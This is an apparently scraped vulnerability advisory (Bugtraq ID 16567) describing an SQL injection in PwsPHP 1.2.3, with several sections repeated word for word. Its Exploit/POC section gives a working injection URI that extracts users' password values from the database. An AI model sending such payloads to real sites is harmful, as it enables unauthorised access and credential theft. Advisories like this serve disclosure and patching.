PwsPHP Index.PHP SQL Injection Vulnerability
BID:16567
Info
PwsPHP Index.PHP SQL Injection Vulnerability
| Bugtraq ID: | 16567 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 09 2006 12:00AM |
| Updated: | Mar 01 2006 03:21AM |
| Credit: | papipsycho is credited with the discovery of this vulnerability. |
| Vulnerable: |
PwsPHP PwsPHP 1.2.3 |
| Not Vulnerable: | |
Discussion
PwsPHP Index.PHP SQL Injection Vulnerability
PwsPHP is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
This issue is reported to affect version 1.2.3; other versions may also be vulnerable.
PwsPHP is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
This issue is reported to affect version 1.2.3; other versions may also be vulnerable.
Exploit / POC
PwsPHP Index.PHP SQL Injection Vulnerability
An exploit is not required.
The following proof-of-concept URI is available:
http://www.example.com/pwsphp/index.php?mod=espace_membre&ac=message&id=999999'/**/UNION/**/SELECT/**/%60pass%60/**/FROM/**/%60users%60/**/WHERE/**/id='1'/*
The following exploit code by papipsycho is also available:
An exploit is not required.
The following proof-of-concept URI is available:
http://www.example.com/pwsphp/index.php?mod=espace_membre&ac=message&id=999999'/**/UNION/**/SELECT/**/%60pass%60/**/FROM/**/%60users%60/**/WHERE/**/id='1'/*
The following exploit code by papipsycho is also available:
Solution / Fix
PwsPHP Index.PHP SQL Injection Vulnerability
Solution:
The vendor has a patch available to address this issue on the vendor homepage. See the vendor homepage for further information.
Solution:
The vendor has a patch available to address this issue on the vendor homepage. See the vendor homepage for further information.